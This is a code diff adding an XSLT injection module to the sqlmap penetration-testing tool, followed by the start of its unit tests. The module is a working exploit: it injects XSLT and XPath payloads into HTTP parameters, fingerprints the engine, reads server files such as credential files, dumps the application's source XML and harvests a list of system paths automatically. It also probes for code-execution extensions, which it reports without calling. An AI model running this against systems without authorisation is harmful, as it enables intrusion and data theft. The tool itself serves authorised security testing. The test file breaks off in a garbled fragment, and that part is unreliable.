+from lib.core.settings import XSLT_ERROR_REGEX
+from lib.core.settings import XSLT_ERROR_SIGNATURES
+from lib.core.settings import XSLT_MAX_FILE_LENGTH
+from lib.core.settings import XSLT_MAX_HARVEST
+from lib.core.settings import XSLT_XML_HARVEST
+from lib.core.settings import XXE_FILE_HARVEST
+from lib.core.settings import XSLT_RCE_PROBES
+from lib.core.settings import XSLT_VENDOR_PROPERTIES
+from lib.request.connect import Connect as Request
+
+SENTINEL = randomStr(length=10, lowercase=True)
+
+# The sentinel is emitted as TWO adjacent literals that only become one string once concat() actually
+# runs. An application that merely echoes the parameter reflects "'ab','cd'" - quotes and comma intact -
+# so the joined marker "abcd" never appears, while a real transform emits it. Without this the marker sits
+# verbatim in the payload and any echo endpoint matches, which reported a plain search page as vulnerable
+# and then "read" /etc/shadow out of its own reflected payload.
+def _marks():
+ half = len(SENTINEL) // 2
+ return SENTINEL[:half], SENTINEL[half:]
+
+XSLT_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
+
+# Where the injected text lands inside the stylesheet. They need different payloads, so the probe order
+# below tries the richer one first and falls back.
+CONTEXT_ELEMENT = "element" # between elements: whole XSLT instructions can be introduced
+CONTEXT_VALUE = "value" # inside an attribute value: an XPath expression only
+
+Slot = namedtuple("Slot", ("place", "parameter", "context", "vendor", "payload"))
+
+
+def _delim(place):
+ return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
+
+
+def _originalValue(place, parameter):
+ for pair in (conf.parameters.get(place) or "").split(_delim(place)):
+ if '=' in pair:
+ name, _, value = pair.partition('=')
+ if name.strip() == parameter:
+ return value
+ return None
+
+
+def _replaceSegment(place, parameter, value):
+ retVal = []
+ for pair in (conf.parameters.get(place) or "").split(_delim(place)):
+ if '=' in pair:
+ name, _, old = pair.partition('=')
+ retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
+ elif pair:
+ retVal.append(pair)
+ return _delim(place).join(retVal)
+
+
+def _send(place, parameter, value):
+ """One request with the target parameter set to `value`, reusing sqlmap's request machinery so the
+ URL, cookies, headers, proxy and delay all behave exactly as in a normal run."""
+
+ if conf.delay:
+ time.sleep(conf.delay)
+
+ saved = conf.parameters.get(place, "")
+ conf.parameters[place] = _replaceSegment(place, parameter, value)
+ try:
+ if conf.verbose >= 3:
+ logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
+ page, _, _ = Request.getPage(raise404=False, silent=True)
+ return page
+ except Exception as ex:
+ logger.debug("XSLT probe request failed: %s" % getUnicode(ex))
+ return None
+ finally:
+ conf.parameters[place] = saved
+
+
+def _isError(page):
+ return bool(page) and re.search(XSLT_ERROR_REGEX, getUnicode(page)) is not None
+
+
+def _vendorFromError(page):
+ for vendor, regex in XSLT_ERROR_SIGNATURES:
+ if re.search(regex, getUnicode(page or "")):
+ return vendor
+ return None
+
+
+def _echoed(page, needle):
+ return bool(page) and needle in getUnicode(page)
+
+
+def _valuePayload(expression):
+ """An XPath expression for the VALUE slot: the input already sits inside select="...", so only the
+ expression itself is injected."""
+ return expression
+
+
+# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a
+# sheet using a different prefix simply fails the element-slot probes and is found through the value slot.
+_XSL_PREFIX = "xsl"
+
+
+def _elementPayload(expression):
+ """A whole instruction for the ELEMENT slot. The stylesheet already binds the 'xsl'
+ prefix (it could not be a stylesheet otherwise), so the instruction compiles in place."""
+ return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression)
+
+
+_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload))
+
+
+def _concat(*parts):
+ """XPath 1.0 concat() over literals."""
+ return "concat(%s)" % ",".join(parts)
+
+
+def _wrap(expression):
+ """Wrap `expression` so its result arrives between two halves of the sentinel that only join when the
+ engine evaluates the concat (see _marks)."""
+ head, tail = _marks()
+ return _concat(_quote(head), _quote(tail), expression, _quote(head), _quote(tail))
+
+
+def _captured(page, payload, span="1,120"):
+ """The text an evaluated probe returned, or None.
+
+ Two independent conditions must hold, because either alone has been shown to be forgeable:
+ 1. the page carries the JOINED sentinel, which only a real concat() can produce, and
+ 2. the page does NOT carry the raw injected expression - a compiled transform emits its RESULT,
+ never its source text, so seeing the expression back means the input was reflected, not run.
+ """
+
+ if not page:
+ return None
+ page = getUnicode(page)
+ if payload and getUnicode(payload) in page:
+ return None # reflected verbatim: nothing was evaluated
+ head, tail = _marks()
+ marker = re.escape(head + tail)
+ match = re.search(r"%s(.{%s}?)%s" % (marker, span, marker), page, re.DOTALL)
+ return match.group(1) if match else None
+
+
+def _quote(value):
+ """XPath 1.0 string literal. The language has no escape character, so a value containing both quote
+ kinds has to be assembled with concat() - and an unquotable path must not be silently mangled into a
+ payload that means something else."""
+
+ value = getUnicode(value)
+ if "'" not in value:
+ return "'%s'" % value
+ if '"' not in value:
+ return '"%s"' % value
+ parts = []
+ for index, chunk in enumerate(value.split("'")):
+ if index:
+ parts.append('"\'"')
+ if chunk:
+ parts.append("'%s'" % chunk)
+ return "concat(%s)" % ",".join(parts)
+
+
+def _probeVendor(place, parameter, baseline):
+ """T1: ask the engine to name itself. A response carrying SENTINEL+vendor+SENTINEL cannot be produced
+ by an application that merely echoes the parameter - the vendor string is the engine's own."""
+
+ for context, build in _BUILDERS:
+ for prop in XSLT_VENDOR_PROPERTIES:
+ payload = build(_wrap("system-property(%s)" % _quote(prop)))
+ captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,120")
+ if captured is None:
+ continue
+ if captured.strip():
+ return context, captured.strip(), payload
+ # An EMPTY capture between the joined halves still proves concat() ran (this engine simply
+ # leaves the property unset), so it confirms execution without naming a vendor.
+ return context, None, payload
+ return None, None, None
+
+
+def _probeEval(place, parameter, baseline):
+ """T2: no vendor property came back, so prove evaluation with pure XPath arithmetic. The operands are
+ random per run, so the product exists nowhere in the application."""
+
+ a, b = randomStr(length=4, alphabet="123456789"), randomStr(length=4, alphabet="123456789")
+ expected = str(int(a) * int(b))
+ for context, build in _BUILDERS:
+ payload = build(_wrap("string(%s * %s)" % (a, b)))
+ captured = _captured(page=_send(place, parameter, payload), payload=payload)
+ if captured is not None and captured.strip() == expected:
+ return context, payload, "%s*%s=%s" % (a, b, expected)
+ return None, None, None
+
+
+def _stable(place, parameter, value):
+ """Send `value` twice and return the page only when both answers agree - a one-off difference is
+ noise, and detection built on noise is how a scanner invents findings."""
+
+ first = _send(place, parameter, value)
+ if first is None:
+ return None
+ second = _send(place, parameter, value)
+ if second is None:
+ return None
+ return first if getUnicode(first) == getUnicode(second) else None
+
+
+def _probeCompile(place, parameter, baseline):
+ """T3: prove the input is COMPILED as part of the stylesheet, for targets that reflect nothing.
+
+ The two slots are told apart by what breaks them, which is a property of XSLT rather than a guess:
+ inside select="..." a bare apostrophe leaves an unterminated literal and the stylesheet fails to
+ compile, whereas between elements the very same apostrophe is ordinary text and changes nothing. So a
+ bare quote that breaks the page means the VALUE slot; a slot that only breaks on a malformed
+ is the ELEMENT slot.
+
+ 'Breaks' is satisfied either by a parser error (which also names the engine) or - where the
+ application swallows errors - by a reproducible difference from the untouched baseline. The latter is
+ the only tier that reaches a target with fixed output and no error surface."""
+
+ if baseline is None or _isError(baseline):
+ return None, None, None # no usable reference to compare against
+
+ # `or "x"` would replace an intentionally EMPTY parameter with a value it never had, so the
+ # baseline would not be the application's own
+ original = _originalValue(place, parameter)
+ original = "x" if original is None else original
+
+ # For BOTH slots the 'valid' form has to be one that leaves the page identical to the baseline. Using
+ # an instruction that EMITS a sentinel for the element slot made that condition unsatisfiable on every
+ # engine (a real one prints the sentinel, an echo reflects the instruction), so the whole element
+ # branch was unreachable and element slots with swallowed errors were silently missed.
+ for context, valid, broken, xpathy in (
+ (CONTEXT_VALUE, original, "%s'" % original, "concat(%s,'')" % original),
+ (CONTEXT_ELEMENT, original, '<%s:value-of select="\'"/>' % _XSL_PREFIX,
+ _elementPayload("substring('',1,0)")),
+ ):
+ brokenPage = _stable(place, parameter, broken)
+ if brokenPage is None:
+ continue
+
+ if _isError(brokenPage):
+ return context, _vendorFromError(brokenPage) or "Generic XSLT", broken
+
+ # No error surface, so the DIFFERENCE is the only signal - and a difference alone proves nothing
+ # about XSLT. Any parser breaks on a stray apostrophe: a SQL string, an XQuery predicate, a shell
+ # word. Three conditions have to hold together before this counts:
+ # 1. the broken form changes the page,
+ # 2. the untouched form reproduces the baseline (so the parameter is not simply volatile),
+ # 3. an XPath FUNCTION CALL is accepted and behaves like the baseline - which a SQL or XQuery
+ # string context cannot do, because there the same text is just a literal that matches
+ # nothing and changes the page.
+ # Without (3) this tier would report XSLT injection on every quote-sensitive parameter.
+ if getUnicode(brokenPage) == getUnicode(baseline):
+ continue
+ validPage = _stable(place, parameter, valid)
+ if validPage is None or getUnicode(validPage) != getUnicode(baseline):
+ continue
+ if xpathy is not None:
+ xpathyPage = _stable(place, parameter, xpathy)
+ if xpathyPage is None or getUnicode(xpathyPage) != getUnicode(baseline):
+ continue
+ return context, "Generic XSLT", broken
+
+ return None, None, None
+
+
+def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")):
+ """T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through
+ unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins."""
+
+ build = dict(_BUILDERS)[context]
+ uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/")
+
+ candidates = [_ for _ in (("unparsed-text", "unparsed-text(%s)" % _quote(uri)),
+ ("document", "string(document(%s))" % _quote(uri))) if _[0] in readers]
+ for _reader, expression in candidates:
+ payload = build(_wrap(expression))
+ captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
+ if captured and captured.strip():
+ return captured[:XSLT_MAX_FILE_LENGTH], expression
+ return None, None
+
+
+def _dumpSourceDocument(place, parameter, context):
+ """Exfiltrate the XML document the stylesheet is transforming - the XSLT-native equivalent of the
+ 'dump' the other non-SQL engines perform automatically. serialises the whole
+ input tree, which is the actual application data the transformation was built to render."""
+
+ if context != CONTEXT_ELEMENT:
+ return None # a value slot can only carry an expression, and copy-of is an instruction
+
+ # copy-of is an instruction, not an expression, so the sentinel cannot be split through concat here.
+ # The reflection guard in _captured() is what keeps an echo endpoint from handing back its own
+ # text as if it were the transformed document.
+ head, tail = _marks()
+ payload = "%s%s<%s:copy-of select=\"/\"/>%s%s" % (head, tail, _XSL_PREFIX, head, tail)
+ captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
+ if captured and captured.strip() and "copy-of" not in captured:
+ return captured.strip()[:XSLT_MAX_FILE_LENGTH]
+ return None
+
+
+def _harvestFiles(place, parameter, context):
+ """Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL
+ engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that
+ '--file-read' exists to see impact.
+
+ Two reader primitives, because they cover different engines: unparsed-text() takes any text file but
+ needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed
+ XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot
+ masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
+
+ harvested = []
+ seen = set()
+ for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)):
+ for path in paths:
+ if len(harvested) >= XSLT_MAX_HARVEST:
+ return harvested
+ content, how = _readFile(place, parameter, context, path, readers=(reader,))
+ if not (content and content.strip()):
+ continue
+ key = content.strip()
+ if key in seen:
+ continue
+ seen.add(key)
+ harvested.append((path, content, how))
+ return harvested
+
+
+def _probeRce(place, parameter, context):
+ """Report - never invoke - the extension primitives that would turn this into code execution. Their
+ mere availability is the finding; exercising them is out of scope for this switch."""
+
+ build = dict(_BUILDERS)[context]
+ retVal = []
+ for label, expression in XSLT_RCE_PROBES:
+ payload = build(_wrap(expression))
+ captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40")
+ # function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit -
+ # only an explicit true is. Reporting on non-empty would flag every engine as exploitable.
+ if captured is not None and captured.strip().lower() == "true":
+ retVal.append(label)
+ return retVal
+
+
+def _dumpFileRead(remoteFile, content):
+ try:
+ localPath = dataToOutFile(remoteFile, getBytes(content))
+ except Exception as ex:
+ logger.debug("could not save the XSLT-read file to disk: %s" % getUnicode(ex))
+ localPath = None
+ if localPath:
+ conf.dumper.rFile([localPath])
+ else:
+ conf.dumper.singleString("XSLT file read ('%s'):\n%s" % (remoteFile, content))
+
+
+def _report(slot, title, extra=None):
+ lines = ["---", "Parameter: %s (%s)" % (slot.parameter, slot.place),
+ " Type: XSLT injection", " Title: %s" % title,
+ " Payload: %s=%s" % (slot.parameter, slot.payload)]
+ if slot.vendor:
+ lines.append(" Engine: %s" % slot.vendor)
+ for line in (extra or []):
+ lines.append(" %s" % line)
+ lines.append("---")
+ conf.dumper.singleString("\n".join(lines))
+
+
+def xsltScan():
+ global SENTINEL
+ SENTINEL = randomStr(length=10, lowercase=True)
+
+ debugMsg = "'--xslt' is self-contained: it detects XSLT injection in HTTP parameters, fingerprints "
+ debugMsg += "the transformation engine and reads files through it. SQL enumeration switches "
+ debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) are ignored"
+ logger.debug(debugMsg)
+
+ if not conf.paramDict:
+ logger.error("no request parameters to test (use --data, GET params, or similar)")
+ return
+
+ tested = found = 0
+
+ for place in (_ for _ in XSLT_PLACES if _ in conf.paramDict):
+ for parameter in list(conf.paramDict[place].keys()):
+ if conf.testParameter and parameter not in conf.testParameter:
+ continue
+
+ tested += 1
+ logger.info("testing XSLT injection on %s parameter '%s'" % (place, parameter))
+
+ _orig = _originalValue(place, parameter)
+ baseline = _send(place, parameter, "x" if _orig is None else _orig)
+
+ context, vendor, payload = _probeVendor(place, parameter, baseline)
+ title = "XSLT in-band (engine fingerprint)"
+ detail = None
+
+ if context is None:
+ context, payload, detail = _probeEval(place, parameter, baseline)
+ title = "XSLT in-band (arithmetic evaluation)"
+ vendor = None
+
+ if context is None:
+ context, vendor, payload = _probeCompile(place, parameter, baseline)
+ title = "XSLT compile-differential (no reflection)"
+ detail = None
+
+ if context is None:
+ continue
+
+ found += 1
+ if conf.beep:
+ beep()
+
+ vendor = vendor or _vendorFromError(baseline) or "Generic XSLT"
+ slot = Slot(place=place, parameter=parameter, context=context, vendor=vendor, payload=payload)
+ logger.info("%s parameter '%s' is vulnerable to XSLT injection (engine: '%s', %s context)"
+ % (place, parameter, vendor, context))
+
+ extra = []
+ if detail:
+ extra.append("Proof: the engine computed %s" % detail)
+
+ rce = _probeRce(place, parameter, context)
+ if rce:
+ extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce))
+ logger.warning("the engine exposes %s - this injection can reach code execution; "
+ "'--xslt' reports it but does not use it" % ", ".join(rce))
+
+ _report(slot, title, extra)
+
+ # A confirmed finding is exploited automatically, like every other non-SQL switch: whoever
+ # reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An
+ # explicit '--file-read' overrides the harvest and is honoured verbatim instead.
+ if conf.fileRead:
+ logger.info("reading file '%s' through the XSLT engine" % conf.fileRead)
+ content, how = _readFile(place, parameter, context, conf.fileRead)
+ if content:
+ logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content)))
+ if how.startswith("string(document("):
+ logger.warning("document() parses its target as XML, so this is the file's TEXT "
+ "CONTENT rather than its raw bytes")
+ _dumpFileRead(conf.fileRead, content)
+ else:
+ logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, "
+ "and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')"
+ % (conf.fileRead, vendor))
+ else:
+ source = _dumpSourceDocument(place, parameter, context)
+ if source:
+ logger.info("dumping the XML document the stylesheet transforms (%d characters)" % len(source))
+ conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source))
+
+ logger.info("harvesting reachable files through the XSLT engine")
+ harvested = _harvestFiles(place, parameter, context)
+ for path, content, how in harvested:
+ logger.info("read '%s' via %s (%d characters)" % (path, how, len(content)))
+ _dumpFileRead(path, content)
+ if not harvested:
+ logger.info("no file could be read automatically (document() needs well-formed XML and "
+ "unparsed-text() needs an XSLT 2.0+ engine)")
+ if source or harvested:
+ logger.info("use '--file-read' to target one specific file instead of this harvest")
+
+ if not found:
+ if tested:
+ logger.warning("no parameter appears to be injectable via XSLT injection (%d tested)" % tested)
+ else:
+ logger.warning("no parameters found to test for XSLT injection")
+
+ logger.info("XSLT scan complete")
diff --git a/tests/test_xslt.py b/tests/test_xslt.py
new file mode 100644
index 000000000..20e7645b8
--- /dev/null
+++ b/tests/test_xslt.py
@@ -0,0 +1,230 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Coverage for the XSLT injection engine (lib/techniques/xslt/inject.py) and the XQuery tier the XPath
+engine gained (lib/techniques/xpath/inject.py).
+
+Network-free: the payload builders, engine fingerprinting and charset construction are pure functions, so
+they are asserted directly. The parts that decide a VERDICT get the most attention - a detection tier that
+rests on "the page changed" is exactly the kind that invents findings, so its guards are pinned here.
+
+stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
+"""
+
+import os
+import re
+import sys
+import unittest
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+from _testutils import bootstrap
+bootstrap()
+
+from lib.core.settings import XSLT_ERROR_REGEX
+from lib.core.settings import XSLT_RCE_PROBES
+from lib.core.settings import XSLT_VENDOR_PROPERTIES
+from lib.core.settings import XQUERY_CAPABILITY_PROBES
+from lib.core.settings import XQUERY_FILE_READ
+from lib.techniques.xslt import inject as _xslt
+from lib.techniques.xpath import inject as _xpath
+
+
+def _source(*parts):
+ with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f:
+ return f.read()
+
+
+class XsltPayloadTest(unittest.TestCase):
+ def test_element_payload_is_a_whole_instruction(self):
+ payload = _xslt._elementPayload("'a'")
+ self.assertTrue(payload.startswith("luther